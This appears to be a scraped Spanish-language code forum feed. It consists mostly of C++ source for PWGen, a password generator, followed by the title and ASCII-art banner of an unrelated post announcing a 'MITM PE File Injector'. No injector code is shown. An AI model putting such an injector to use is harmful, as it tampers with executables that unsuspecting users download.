        else if (pnPasswUsed != NULL && *pnPasswUsed <= 0)
          *pnPasswUsed = PASSFORMAT_PWUSED_EMPTYPW;
        break;

      case 'q':
        charSetType = cstPhonetic;
        break;

      case 'Q':
        charSetType = cstPhoneticMixedCase;
        break;

      case 'W': // add word
      case 'w': // add word + space
        if (blUnique) {
          nNum = (blNumDefault) ? m_nWordListSize : std::min(nNum, m_nWordListSize);
          pUniqueWordList = new std::set<SecureW32String>;
        }
        for (nI = 0; nI < nNum && nDestIdx < nDestSize; ) {
          lRand = m_pRandGen->GetNumRange(m_nWordListSize);
          int nWordLen;
          if (m_wordList.empty())
            nWordLen = CharToW32Char(sWord, getDiceWd(lRand));
          else
            nWordLen = WCharToW32Char(sWord, m_wordList[lRand].c_str());
          if (blUnique) {
            std::pair<std::set<SecureW32String>::iterator, bool> ret =
                pUniqueWordList->insert(sWord);
            if (!ret.second)
              continue;
          }
          nToCopy = std::min(nWordLen, nDestSize - nDestIdx);
          memcpy(pDest + nDestIdx, sWord, nToCopy * sizeof(word32));
          nDestIdx += nToCopy;
          if (lChar == 'w' && nI < nNum-1 && nDestIdx < nDestSize)
            pDest[nDestIdx++] = ' ';
          nI++;
        }
        if (pUniqueWordList != NULL)
          delete pUniqueWordList;
        if (pdSecurity != NULL) {
          if (blUnique)
            *pdSecurity += CalcPermSetEntropy(m_nWordListSize, nI);
          else
            *pdSecurity += m_dWordListEntropy * nI;
        }
        break;

      case '[': // start index for repeating a sequence in sFormat
        if (nRepeatIdx < FORMAT_REPEAT_MAXDEPTH) {
          repeatNum[nRepeatIdx] = nNum - 1;
          repeatStart[nRepeatIdx] = nSrcIdx;
          nRepeatIdx++;
        }
        break;

      case ']': // end
        if (nRepeatIdx > 0) {
          if (repeatNum[nRepeatIdx-1] == 0 ||
              nSrcIdx - repeatStart[nRepeatIdx-1] < 3)
            nRepeatIdx--;
          else if (repeatNum[nRepeatIdx-1]-- > 0)
            nSrcIdx = repeatStart[nRepeatIdx-1];
        }
        break;

      case '{': // start index for permuting a sequence in pszDest
        nPermNum = (blNumDefault) ? 0 : nNum;
        nPermStart = nDestIdx;
        if (pdSecurity != NULL)
          dPermSecurity = *pdSecurity;
        break;

      case '}': // end
        if (nPermNum >= 0) {
          int nPermSize = nDestIdx - nPermStart;
          int nToUse = (nPermNum == 0) ? nPermSize : std::min(nPermNum, nPermSize);
          if (nPermSize >= 2) { // now permute!
            m_pRandGen->Permute<word32>(pDest + nPermStart, nPermSize);
            nDestIdx = nPermStart + nToUse;
            if (pdSecurity != NULL && nToUse < nPermSize)
              *pdSecurity = dPermSecurity + (*pdSecurity - dPermSecurity) * nToUse / nPermSize;
          }
          nPermNum = -1;
        }
        break;

      default:
        int nPlaceholder = -1;
        if (lChar >= 'A' && lChar <= 'z')
          nPlaceholder = strchpos(FORMAT_PLACEHOLDERS, char(lChar));
        if (nPlaceholder >= 0) {
          if (nPlaceholder == CHARSET_FORMAT_x) {
            psCharSet = &m_sCustomCharSet;
            charSetType = charSetType;
          }
          else
            psCharSet = &m_formatCharSets[nPlaceholder];
        }
        else if (plInvalidSpec != NULL) {
          *plInvalidSpec = lChar;
          plInvalidSpec = NULL;
        }
      }

      if (charSetType == cstPhonetic || charSetType == cstPhoneticMixedCase) {
        int nLen = GetPhoneticPassw(pDest + nDestIdx,
          std::min(nNum, nDestSize - nDestIdx),
          (charSetType == cstPhoneticMixedCase) ? PASSW_FLAG_PHONETICMIXEDCASE : 0);
        nDestIdx += nLen;

        if (pdSecurity != NULL)
          *pdSecurity += (m_dPhoneticEntropy +
            ((charSetType == cstPhoneticMixedCase) ? 1 : 0)) * nLen;
      }
      else if (psCharSet != NULL) {
        int nSetSize = psCharSet->length();
        int nStartIdx = nDestIdx;

        if (blUnique)
          nNum = (blNumDefault) ? nSetSize : std::min(nNum, nSetSize);

        for (nI = 0; nI < nNum && nDestIdx < nDestSize; ) {
          lRand = (*psCharSet)[m_pRandGen->GetNumRange(nSetSize)];
          bool checkRep = nDestIdx > 0;
          if (blUnique && nI > 0) {
            if (strchpos(pDest + nStartIdx, nI, lRand) >= 0)
              continue;
            checkRep = false;
          }
          if (checkRep &&
              nFlags & PASSFORMAT_FLAG_EXCLUDEREPCHARS &&
              lRand == pDest[nDestIdx-1])
            continue;
          pDest[nDestIdx++] = lRand;
          nI++;
        }

        if (pdSecurity != NULL) {
          if (blUnique)
            *pdSecurity += CalcPermSetEntropy(nSetSize, nI);
          else
            *pdSecurity += Log2(nSetSize) * nI;
        }
      }

      blSpecMode = false;
    }
    else if (lChar == '%') {
      blSpecMode = true;
      blUnique = false;
      blSecondNum = false;
      nNumIdx = 0;
    }
    else {
      pDest[nDestIdx++] = lChar;
    }
  }

  pDest[nDestIdx] = '\0';

  lRand = 0;

  return nDestIdx;
}
//---------------------------------------------------------------------------
WString PasswordGenerator::GetWord(int nIndex)
{
  if (m_wordList.empty())
    return getDiceWd(nIndex);

  return WString(m_wordList[nIndex].c_str());
}
//---------------------------------------------------------------------------
void PasswordGenerator::CreateTrigramFile(const WString& sSrcFileName,
                                          const WString& sDestFileName,
                                          word32* plNumOfTris,
                                          double* pdEntropy)
{
  TStringFileStreamW* pSrcFile = NULL;
  TTntFileStream* pDestFile = NULL;

  try {
    pSrcFile = new TStringFileStreamW(sSrcFileName, fmOpenRead, ceAnsi,
      true, 65536, "\n\t ");

    const int WORDBUF_SIZE = 1024;
    wchar_t wszWord[WORDBUF_SIZE];
    std::vector<word32> tris(PHONETIC_TRIS_NUM, 0);
    word32 lSigma = 0;

    int nWordLen, nI;
    while ((nWordLen = pSrcFile->ReadString(wszWord, WORDBUF_SIZE)) > 0) {
      WString sWord = Trim(WString(wszWord));
      nWordLen = sWord.Length();

      if (nWordLen < 3)
        continue;

      const wchar_t* pwszWord = sWord.c_bstr();
      wchar_t wch;
      char ch1 = -1, ch2 = -1, ch3;

      while ((wch = *pwszWord++) != '\0') {
        if (wch <= 'z' && (ch3 = tolower(wch) - 'a') >= 0 && ch3 <= 25) {
          if (ch1 >= 0) {
            tris[676*ch1+26*ch2+ch3]++;
            lSigma++;
          }

          ch1 = ch2;
          ch2 = ch3;
        }
      }
    }

    double dEntropy = 0;
    if (lSigma != 0) {
      double dProb;
      for (nI = 0; nI < PHONETIC_TRIS_NUM; nI++) {
        dProb = double(tris[nI]) / lSigma;
        if (dProb > 0)
          dEntropy += dProb * Log2(dProb);
      }
      dEntropy = -dEntropy / 3;
    }

    if (plNumOfTris != NULL)
      *plNumOfTris = lSigma;

    if (pdEntropy != NULL)
      *pdEntropy = dEntropy;

    if (lSigma == 0 || dEntropy < 1.0)
      throw Exception(ETRL("Source file does not contain enough trigrams"));

    pDestFile = new TTntFileStream(sDestFileName, fmCreate);

    pDestFile->Write(&lSigma, sizeof(word32));
    pDestFile->Write(&dEntropy, sizeof(double));
    pDestFile->Write(tris.begin(), tris.size() * sizeof(word32));

/*
    FILE* pDestFile = fopen(sDestFileName.c_str(), "wt");
    if (pDestFile == NULL)
      return 0;
    fprintf(pDestFile, "%d\n", lSigma);
    for (int nI = 0; nI < PHONETIC_TRIS_NUM; nI++)
      fprintf(pDestFile, "%d,", tris[nI]);
    fclose(pDestFile);
*/
/*
    FILE* f = fopen(sDestFileName.c_str(), "wt");
    fprintf(f, "const word32 PHONETIC_SIGMA = %d,\n", lSigma);
    fprintf(f, "            PHONETIC_TRIS_NUM = 17576;\n\n");
    fprintf(f, "const word16 PHONETIC_TRIS[PHONETIC_TRIS_NUM] = {\n");
    for (int i=0; i<676; i++) {
      fprintf(f, "  ");
      for (int j=0; j<26; j++) {
        fprintf(f, "%d,", tris[i*26+j]);
      }
      fprintf(f, "\n");
    }
    fprintf(f, "};");
    fclose(f);
*/
  }
  __finally {
    if (pSrcFile != NULL)
      delete pSrcFile;
    if (pDestFile != NULL)
      delete pDestFile;
  }
}
//---------------------------------------------------------------------------
int PasswordGenerator::LoadTrigramFile(WString sFileName)
{
  std::vector<word32> tris;
  word32 lSigma = PHONETIC_SIGMA;
  double dEntropy = PHONETIC_ENTROPY;

  if (!sFileName.IsEmpty()) {
    if (WideExtractFilePath(sFileName).IsEmpty())
      sFileName = g_sExePath + sFileName;

    TTntFileStream* pFile = NULL;

    try {
      pFile = new TTntFileStream(sFileName, fmOpenRead);
      if (pFile->Size != PHONETIC_TRIS_NUM * sizeof(word32) +
          sizeof(word32) + sizeof(double)) {
        delete pFile;
        return 0;
      }

      tris.resize(PHONETIC_TRIS_NUM);

      pFile->Read(&lSigma, sizeof(word32));
      pFile->Read(&dEntropy, sizeof(double));
      pFile->Read(tris.begin(), PHONETIC_TRIS_NUM * sizeof(word32));

      delete pFile;
      pFile = NULL;

      if (lSigma == 0 || dEntropy < 1.0 || dEntropy > Log2(26))
        return 0;

      word32 lCheck = 0;
      for (int nI = 0; nI < PHONETIC_TRIS_NUM; nI++)
        lCheck += tris[nI];

      if (lCheck != lSigma)
        return 0;
    }
    catch (EStreamError& e) {
      if (pFile != NULL)
        delete pFile;
      return -1;
    }
    catch (...) {
      if (pFile != NULL)
        delete pFile;
      throw;
    }
  }

  m_phoneticTris = tris;
  m_lPhoneticSigma = lSigma;
  m_dPhoneticEntropy = dEntropy;

  return 1;
}
//---------------------------------------------------------------------------
int PasswordGenerator::GetPhoneticPassw(word32* pDest,
                                        int nLength,
                                        int nFlags)
{
//  word32* pTris = (m_pPhoneticTris == NULL) ? (word32*) PHONETIC_TRIS : m_pPhoneticTris;
#define getLetter(x)  x + ((blMixedCase) ? (m_pRandGen->GetNumRange(2) ? 'a' : 'A') : 'a')
  bool blDefaultTris = m_phoneticTris.empty();
  bool blMixedCase = nFlags & PASSW_FLAG_PHONETICMIXEDCASE;
  word32 lSumFreq = m_lPhoneticSigma;
  word32 lRand = m_pRandGen->GetNumRange(lSumFreq);
  word32 lSum = 0;
  int nChars = 0, nI;
  char ch1, ch2, ch3;

  for (nI = 0; nI < PHONETIC_TRIS_NUM; nI++) {
    if (blDefaultTris)
      lSum += PHONETIC_TRIS[nI];
    else
      lSum += m_phoneticTris[nI];
    if (lSum > lRand) {
      ch1 = nI / 676;
      ch2 = (nI / 26) % 26;
      ch3 = nI % 26;
      break;
    }
  }

  if (nLength >= 1)
    pDest[nChars++] = getLetter(ch1);
  if (nLength >= 2)
    pDest[nChars++] = getLetter(ch2);
  if (nLength >= 3)
    pDest[nChars++] = getLetter(ch3);

  while (nChars < nLength) {
    ch1 = ch2;
    ch2 = ch3;

    lSumFreq = 0;
    for (ch3 = 0; ch3 < 26; ch3++) {
      if (blDefaultTris)
        lSumFreq += PHONETIC_TRIS[676*ch1+26*ch2+ch3];
      else
        lSumFreq += m_phoneticTris[676*ch1+26*ch2+ch3];
    }

    if (lSumFreq == 0) {
      // if we can't find anything, just insert a vowel...
      static const char VOWELS[5] = { 0, 4, 8, 14, 20 };
      ch3 = VOWELS[m_pRandGen->GetNumRange(sizeof(VOWELS))];
    }
    else {
      lRand = m_pRandGen->GetNumRange(lSumFreq);
      lSum = 0;

      for (ch3 = 0; ch3 < 26; ch3++) {
        if (blDefaultTris)
          lSum += PHONETIC_TRIS[676*ch1+26*ch2+ch3];
        else
          lSum += m_phoneticTris[676*ch1+26*ch2+ch3];
        if (lSum > lRand)
          break;
      }
    }

    pDest[nChars++] = getLetter(ch3);
  }

  pDest[nChars] = '\0';
  lRand = 0;

  if (nFlags >= PASSW_FLAG_INCLUDEUCL) {
    SecureMem<int> randPerm(PASSWGEN_NUMINCLUDECHARSETS - 1); // except _INCLUDELCL
    int nJ, nRand;

    for (nI = nJ = 0; nI < PASSWGEN_NUMINCLUDECHARSETS && nJ < nLength; nI++) {
      int nFlagVal = PASSW_FLAG_INCLUDEUCL << nI;

      if (nFlagVal != PASSW_FLAG_INCLUDELCL && nFlags & nFlagVal) {
        /*
        if (nFlagVal == PASSW_FLAG_INCLUDEUCL) {
          w32string sCharSetLC = m_includeCharSets[nI];
          for (w32string::iterator it = sCharSetLC.begin();
              it != sCharSetLC.end(); it++)
            // we can use char-based tolower() here because the char set
            // can only include letters A..Z and no higher Unicode chars
            *it = tolower(*it);

          if (sCharSetLC.find_first_of(pDest) == w32string::npos)
            continue;
        }
        */

        do {
          nRand = m_pRandGen->GetNumRange(nLength);
          for (int nK = 0; nK < nJ; nK++) {
            if (nRand == randPerm[nK]) {
              nRand = -1;
              break;
            }
          }

          // if nI == 0 (nFlagVal == _INCLUDEUCL), nRand is ALWAYS >= 0!!
          /*
          if (nFlagVal == PASSW_FLAG_INCLUDEUCL &&
              m_includeCharSets[nI].find(toupper(pDest[nRand])) == w32string::npos)
            nRand = -1;
          */
        }
        while (nRand < 0);

        randPerm[nJ++] = nRand;

        if (nFlagVal == PASSW_FLAG_INCLUDEUCL)
          pDest[nRand] = toupper(pDest[nRand]);
        else {
          int nSetSize = m_includeCharSets[nI].length();
          pDest[nRand] = m_includeCharSets[nI][m_pRandGen->GetNumRange(nSetSize)];
        }
      }
    }

    nRand = 0;
  }

  return nChars;
}
//---------------------------------------------------------------------------
static double logFactorial(int nNum)
{
  if (nNum < 2)
    return 0;

  static const double TWOPI = 2 * acos(-1);

  double dNum = nNum;
  return dNum * log(dNum) - dNum + 0.5 * log(TWOPI * dNum) + 1 / (12 * dNum);
}
//---------------------------------------------------------------------------
double PasswordGenerator::CalcPermSetEntropy(int nSetSize,
                                            int nNumOfSamples)
{
  static const double LOG2 = log(2);
  return (logFactorial(nSetSize) - logFactorial(nSetSize - nNumOfSamples)) / LOG2;
}
//---------------------------------------------------------------------------
int PasswordGenerator::EstimatePasswSecurity(const wchar_t* pwszPassw)
{
  if (pwszPassw == NULL || pwszPassw[0] == '\0')
    return 0;

  int nPasswLen = wcslen(pwszPassw);

  SecureW32String sPassw(nPasswLen + 1);
  WCharToW32Char(sPassw, pwszPassw);

  // The following code is based on the function EstimatePasswordBits()
  // from the KeePass source code (http://keepass.org) by Dominik Reichl.
  // This algorithm tends to *under*rate random character sequences and
  // *over*rate passphrases containing words from a word list. Nevertheless,
  // it's really simple, fast and fully sufficient for our purpose.
  // For longer random sequences, applying some statistical tests for randomness
  // (autocorrelation coefficient, Runs test, entropy estimation, etc.) would be
  // appropriate, but this is simply not realistic for short sequences like
  // passwords/passphrases...

  std::map<word32, int> chcount;
  std::map<int, int> chdiff;

  bool blControl = false, blUpper = false, blLower = false, blDigits = false,
      blSpecial = false;
  int nCharSpace = 0;
  double dEffectiveLength = 0;

  for (int nI = 0; nI < nPasswLen; nI++)
  {
    word32 lChar = sPassw[nI];
    bool blOtherCharSet = false;

    if (lChar > 0 && lChar < ' ') blControl = true;          // control characters
    else if (lChar >= 'A' && lChar <= 'Z') blUpper = true;  // upper-case
    else if (lChar >= 'a' && lChar <= 'z') blLower = true;  // lower-case
    else if (lChar >= '0' && lChar <= '9') blDigits = true;  // digits
    else if (lChar >= ' ' && lChar <= '/') blSpecial = true; // special, including space
    else if (lChar >= ':' && lChar <= '@') blSpecial = true;
    else if (lChar >= '[' && lChar <= '`') blSpecial = true;
    else if (lChar >= '{' && lChar <= '~') blSpecial = true;
    else blOtherCharSet = true;

    double dDiffFactor = 1.0;
    int nCount;

    if (nI > 0) {
      int nDiff = lChar - sPassw[nI-1];
      std::map<int, int>::iterator it = chdiff.find(nDiff);
      if (it == chdiff.end()) {
        nCount = 1;
        chdiff[nDiff] = nCount;
      }
      else {
        nCount = it->second + 1;
        it->second = nCount;
      }
      dDiffFactor /= nCount;
    }

    //std::map<word32, int>::iterator it = chcount.find(lChar);
    std::pair<std::map<word32, int>::iterator, bool> ret =
      chcount.insert(std::pair<word32, int>(lChar, 1));
    if (ret.second) {
      nCount = 1;
      //chcount[lChar] = nCount;
      if (blOtherCharSet)
        nCharSpace++;
    }
    else {
      nCount = ret.first->second + 1;
      ret.first->second = nCount;
    }

    dEffectiveLength += dDiffFactor / nCount;
  }

  if (blControl) nCharSpace += 2;  // control characters
                                  // (only 2 accessible in edit controls: #30 and #31)
  if (blUpper) nCharSpace += 26;  // upper-case
  if (blLower) nCharSpace += 26;  // lower-case
  if (blDigits) nCharSpace += 10;  // digits
  if (blSpecial) nCharSpace += 33; // special
  // maximum ANSI space = 97

  return Ceil(Log2(nCharSpace) * dEffectiveLength);
}
//---------------------------------------------------------------------------

PasswGen.h

Código:

// PasswGen.h
//
// PWGEN FOR WINDOWS
// Copyright (c) 2002-2015 by Christian Thoeing <c.thoeing@web.de>
//
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
// 02111-1307, USA.
//---------------------------------------------------------------------------
#ifndef PasswGenH
#define PasswGenH
//---------------------------------------------------------------------------
#include <vector>
#include <list>
#include "TntClasses.hpp"
#include "SecureMem.h"
#include "RandomGenerator.h"
#include "UnicodeUtil.h"


const int
  WORDLIST_DEFAULT_SIZE          = 8192,
  WORDLIST_MAX_WORDLEN            = 30,
  WORDLIST_MAX_SIZE              = 1048576,

  PASSWGEN_NUMCHARSETCODES        = 11,
  PASSWGEN_NUMINCLUDECHARSETS    = 4,
  PASSWGEN_NUMFORMATCHARSETS      = 22,

  PASSW_FLAG_FIRSTCHARNOTLC      = 0x0001,  // first char must not be lower-case letter
  PASSW_FLAG_EXCLUDEREPCHARS      = 0x0002,  // exclusion of repeating consecutive chars
  PASSW_FLAG_INCLUDESUBSET        = 0x0004,  // include only additional characters
                                        // if custom set contains appropriate subset
  PASSW_FLAG_INCLUDEUCL          = 0x0008,  // include one char from additional charset
  PASSW_FLAG_INCLUDELCL          = 0x0010,
  PASSW_FLAG_INCLUDEDIGIT        = 0x0020,
  PASSW_FLAG_INCLUDESPECIAL      = 0x0040,
  PASSW_FLAG_PHONETICMIXEDCASE    = 0x0080, // mixed-case characters in phonetic passwords
  PASSW_FLAG_EACHCHARONLYONCE    = 0x0100, // each character must occur only once
  PASSW_FLAG_CHECKDUPLICATESBYSET = 0x0200,

  PASSPHR_FLAG_COMBINEWCH        = 0x0001,  // combine words & chars
  PASSPHR_FLAG_DONTSEPWORDS      = 0x0002,  // don't separate words by a space
  PASSPHR_FLAG_DONTSEPWCH        = 0x0004,  // don't separate words & chars by '-'
  PASSPHR_FLAG_REVERSEWCHORDER    = 0x0008,
  PASSPHR_FLAG_EACHWORDONLYONCE  = 0x0010,

  PASSFORMAT_FLAG_EXCLUDEREPCHARS = 1,

  PASSFORMAT_PWUSED_NOTUSED      = 0,  // password provided, but no "%P"
  PASSFORMAT_PWUSED_EMPTYPW      = -1; // "%P" specified, but no password available


enum CharSetType { cstNormal, cstPhonetic, cstPhoneticMixedCase };


class PasswordGenerator
{
private:
  RandomGenerator* m_pRandGen;
  w32string m_sCustomCharSet;
  //bool m_blCustomCharSetPhonetic;
  CharSetType m_customCharSetType;
  int m_nCustomCharSetSize;
  double m_dCustomCharSetEntropy;
  bool m_blCustomCharSetNonLC;
  w32string m_charSetDecodes[PASSWGEN_NUMCHARSETCODES];
  w32string m_includeCharSets[PASSWGEN_NUMINCLUDECHARSETS];
  w32string m_customSubsets[PASSWGEN_NUMINCLUDECHARSETS];
  w32string m_formatCharSets[PASSWGEN_NUMFORMATCHARSETS];
// TTntStringList* m_pWordList;
  std::vector<std::wstring> m_wordList;
  int m_nWordListSize;
  double m_dWordListEntropy;
  w32string m_sAmbigCharSet;
  std::list<w32string> m_ambigGroups;
  word32 m_lPhoneticSigma;
  std::vector<word32> m_phoneticTris;
  double m_dPhoneticEntropy;

  // convert ("parse") the input string into a "unique" character set
  // -> input string
  // -> 'true' if password is intended to be pronounceable (phonetic rules)
  // -> pointer to a 'bool' variable that gets noticed if the character set
  //    contains any non-lowercase letters (may be NULL)
  // <- character set; NULL if the input string contains less than 2 unique
  //    characters
  w32string ParseCharSet(const w32string& sInput,
                        CharSetType& charSetType);

  WString GetCustomCharSetAsWString(void)
  {
    return W32StringToWString(m_sCustomCharSet);
  }

public:
  // constructor
  // -> pointer to a random generator
  PasswordGenerator(RandomGenerator* pRandGen);

  // destructor
  ~PasswordGenerator();

  // makes a character set unique, i.e., converts the source string into
  // a character set where each character must occur only once
  // -> source string
  // -> string with ambiguous characters to be excluded from the final set
  // <- unique character set
  static w32string MakeCharSetUnique(const w32string& sSrc,
                                    w32string* psAmbigCharSet = NULL,
                                    std::list<w32string>* pAmbigGroups = NULL,
                                    bool blMakeAmbChSet = false);

  // generates a pass"word" containing characters only
  // -> where to store the password (buffer must be large enough!)
  // -> desired length
  // -> password flags (PASSW_FLAG_...)
  // <- length of the password
  int GetPassword(word32* pDest,
                  int nLength,
                  int nFlags);

  // generates a pass"phrase" containing words and possibly characters
  // -> where to store the passphrase (buffer must be large enough!)
  // -> desired number of words
  // -> characters (e.g., from a password) to combine with the words;
  //    may be an empty buffer
  // -> passphrase flags (PASSPHR_FLAG_...)
  // <- length of the passphrase
  int GetPassphrase(word32* pDest,
                    int nWords,
                    const word32* pChars,
                    int nFlags);

  // generates a "formatted" password
  // -> where to store the password
  // -> size of the dest. buffer
  // -> format string; may contain "format specifiers" preceded by a '%' sign
  // -> format flags (PASSFORMAT_FLAG_...)
  // -> pointer to a previously generated password, which may be inserted into
  //    the target buffer if the format string contains '%P' (may be NULL)
  // -> indicates *how* the password given by pszPassw was actually used
  //    if <= 0: error, see PASSFORMAT_PWUSED_...
  //    if  > 0: number of bytes copied to the target buffer, may be less than
  //            the password length if the buffer is too small
  //    (may be NULL)
  // -> indicates the first invalid specifier in the format string (may be NULL)
  // -> estimated security of the generated password; estimation does not take
  //    into account permutations
  // <- length of the resulting password
  int GetFormatPassw(word32* pDest,
                    int nDestSize,
                    const w32string& sFormat,
                    int nFlags,
                    const word32* pPassw = NULL,
                    int* pnPasswUsed = NULL,
                    word32* plInvalidSpec = NULL,
                    double* pdSecurity = NULL);

  // call this function to set up all character sets by providing user-defined
  // ambiguous characters and special symbols
  // -> custom character set for generating passwords (GetPassword())
  // -> re-defined ambiguous characters
  // -> re-defined special symbols
  // -> 'true': remove ambiguous characters from all character sets
  void SetupCharSets(WString& sCustomCharSet,
                    const WString& sAmbigChars = "",
                    const WString& sSpecialSymbols = "",
                    bool blExcludeAmbigChars = false,
                    bool blDetermineSubsets = false);

  // load a word list from a file
  // -> file name (full path); if NULL, load the default word list
  // -> maximum word length allowed in the list (does not apply to the
  //    default list)
  // <- number of words added to the list; <= 0 in case of an error
  //    if  < 0: i/o error
  //    if == 0: number of words < 2
  int LoadWordListFile(WString sFileName = "",
                      int nMaxWordLen = 0,
                      bool blConvertToLC = false);

  // returns a word from the word list (either from m_pWordList or default list)
  // -> index of the word
  // <- word
  WString GetWord(int nIndex);

  // create file with frequencies of phonetic trigrams (or trigraphs)
  // consisting of all possible 3-letter combinations (26^3=17,576 in total)
  // -> name of the source file; ideally, this should be a large word list or
  //    dictionary in a certain language
  // -> name of the destination file; it has the following structure:
  //    bytes 1..4      : total number (32-bit) of trigrams
  //    bytes 5..12    : entropy per character provided by the trigrams;
  //                      must be in the range 1.0 < entropy < log_2(26)
  //    bytes 13..70316 : frequencies of all possible trigrams stored as
  //                      17,576 32-bit numbers (i.e., 4 bytes each)
  // -> number of evaluated trigrams (NULL -> don't receive anything)
  // -> bits of entropy per letter (may be NULL); min. entropy is 1.0!
  // function throws an exception in case of errors
  static void CreateTrigramFile(const WString& sSrcFileName,
                                const WString& sDestFileName,
                                word32* plNumOfTris,
                                double* pdEntropy);

  // load a trigram file created with CreateTrigramFile()
  // -> name of the trigram file; if empty, use default trigrams in
  //    PhoneticTrigram.h
  // <- if  < 0: i/o error
  //    if == 0: file structure is invalid
  //    if  > 0: success
  int LoadTrigramFile(WString sFileName = "");

  // generates phonetic (pronounceable) password
  // -> dest. buffer
  // -> desired length of the password
  // -> supported password flags:
  //    - PASSW_FLAG_INCLUDEUCL
  //    - PASSW_FLAG_INCLUDELCL
  //    - PASSW_FLAG_INCLUDEDIGIT
  //    - PASSW_FLAG_INCLUCDESPECIAL
  //    - PASSW_FLAG_PHONETICMIXEDCASE
  // <- password length
  int GetPhoneticPassw(word32* pDest,
                      int nLength,
                      int nFlags);

  // calculate entropy for randomly permuting a "set" (i.e., collection of
  // unique elements): S = log_2(N!/(N-M!)) with N being the set size
  // and M being the number of samples taken from the permuted set
  // -> set size
  // -> number of samples from the permuted set
  // <- entropy bits
  static double CalcPermSetEntropy(int nSetSize,
                                  int nNumOfSamples);

  // roughly estimates the quality of a password
  // provided by the user
  // (code based on PwUtil.cpp from Dominik Reichl's KeePass)
  // -> password (null-terminated string)
  // <- security in bits
  static int EstimatePasswSecurity(const wchar_t* pwszPassw);


  // some properties...

  __property RandomGenerator* RandGen=
    { read=m_pRandGen, write=m_pRandGen };

  __property WString CustomCharSet =
    { read=GetCustomCharSetAsWString };

  __property w32string CustomCharSetW32 =
    { read=m_sCustomCharSet };

  __property CharSetType CustomCharSetType =
    { read=m_customCharSetType };

  __property double CustomCharSetEntropy =
    { read=m_dCustomCharSetEntropy };

  __property double WordListEntropy =
    { read=m_dWordListEntropy };

  __property int WordListSize =
    { read=m_nWordListSize };

  __property double PhoneticEntropy =
    { read=m_dPhoneticEntropy };
};


#endif

Adiciolmente puedes utilizarlo también en tu navegador: pwgen - Password Generator




uploaded.net - [code] PWGen 2.6: Password Generator

[C] PEInjector: MITM PE File Injector

$
0
0
Código:

        ,x-"F  ]    Ax^" q    hp"  `u jM""u    a^ ^, j"  "*g_  p  ^mg_  N    "-x,             
          jLs*^6  `_  _&*"  q  _,NF  "wp"    "*g"  _NL_  p  "-d_  F  ]"*u_F                 
            ]  J_,x-E  3_  jN^" `u _w^*_  _R"""R_  _J^w_ j"  "pL_  f  7^-L_F  #__             
        w*^0  4  9__sAF" `L  _Dr"  m__m""q_,,_a^"m__*  "qA_  j" ""Au__f  J  0^               
            #_,J@^""p  `_ _jp-""q  _Dw^" ^cj*"  "*,j^  "p#_  y""^wE_ _F  F"^qN,_j               
            L  ]  k,w@#"""_  "_a*^E  ba-" ^qjqj-""^pe"  J^-u_f  _f "q@w,j  f  jL _             
        -,Jp*^#""9  L  5_a*N"""q__INr" "q_e^"^"*,p^""qME_ y"""p6u,f  j'  f "N^--LL             
        _ t  J  __,Jb--N""",  *_s0M`""q_a@NW_@@_JP^u_p"""p4a,p" _F""V--wL,_F_ F  #               
          r#^^0""E" 6  q  q__hg-@4""*,_Z*q_"^pwpwr""p*C__@""0N-qdL_p" p  J" 3""5^^0r-             
          F Jp 9__b__M,Juw*w*^#^9#""EED*dP_@EZEZ@^E@*#EjP"5M"gM@p*Ww&,jL_J__f  F j               
        rNrr4r*pr4r@grNr@q@Ng@q@N0@N#@NNMpmgg@@ggmqgNN@NN@#@4p*@M@p4qp@w@m@Mq@r#rq@r             
          j  L 6 9""Q"#^q@NDNNNMpg----                  ----gggNNW#W4p^p@jF"P"]"j  F             
        a0,3_j_j_9FN@N@0NMp--                                  --ggNZNrNM"P_f_f_E,0a             
        "0^#-LJ_9"NNNMp--                                          -gN#@#"R_#g@q^9"             
        _F`@q4WBN@Np-                                                  -gNN@ZL#p"Fj_             
        JLE5@WRNp                                                          g@NNNF3_L             
        4JF@NNp- ---------------------------------------------------------- -g0WNNL@             
        40NNh-    ____  _____ _____    _____ _____ _____ ____  _____ _____    -gN#B0             
        NN#p    |    \|    |  __|  |  |  |  __|  _  |    \|  __| __  |    j0NN             
        ##      |  |  |  |  |__  |  |    |  __|    |  |  |  __|    -|      d#             
        J#        |____/|_____|_____|  |__|__|_____|__|__|____/|_____|__|__|        #L           
      J#                                                                            #L           
      J# ---------------------------------------------------------------------------- #L         
    J#              _____ _____    _____ _____ _____ ____  _____ _____              #L         
    J#              |  _  |  __|  |  |  |  __|  _  |    \|  __| __  |              #L       
  J#                |  __|  __|  |    |  __|    |  |  |  __|    -|                #L       
  J#                |__|  |_____|  |__|_ _,.-----.,_ |____/|_____|__|__|                #L     
 J#                                    ,-~          ~-.                                  #L     
'# --------------------------------- ,^___          ___^. -------------------------------- #'   
t#  _____ _____ _____ _____ _____  /~"  ~"  .  "~  "~\  _____ _____ ____  _____ _____  #j   
t# |    |  _  |_  _|    |    | Y  ,--._    I    _.--.  Y    __|  _  |    \|  __| __  | #j   
t# |  |  |  __| | | |-  -|  |  | | Y    ~-. | ,-~    Y |    __|    |  |  |  __|    -| #j   
t# |_____|__|    |_| |_____|_____| | |        }:{        | | _____|__|__|____/|_____|__|__| #j   
.#                                j l      / | \      ! l                                #'   
 Y#---------------------------- .-~  (__,.--" .^. "--.,__)  ~-. -------------------------- #Y     
  Y#      _____ _____ _____ ___(          / / | \ \          ) _ _____ __    _____      #Y     
  Y#    |  __|  __|    |_  \.____,  ~  \/"\/  ~  .____,/  | __  |  |  |  __|    #Y       
    Y#  |__  |  __|  --| | | ^.____                ____.^    | __ -|  |__|  __|  #Y       
    Y#  |_____|_____|_____| |_| |_ | |T ~\  !  !  /~ T| | |__|__|_____|_____|_____|  #Y         
      Y#                            | |l  _ _ _ _ _  !| |                          #Y         
      Y#, ------------------------ | l \/V V V V V V\/ j | ----------------------- ,#Y           
        Y#            _____ _____ _ l  \ \|_|_|_|_|_|/ /  ! ___    ___              #Y           
        t#          |  __|  __|  \  \[T T T T T TI/  /  | |  |  |            #j           
        t#          |__  |  __|  -\  `^-^-^-^-^-^'  /  | | |  | | |            #j           
        t#          |_____|_____|____ \              / |_|___|  |___|            #j           
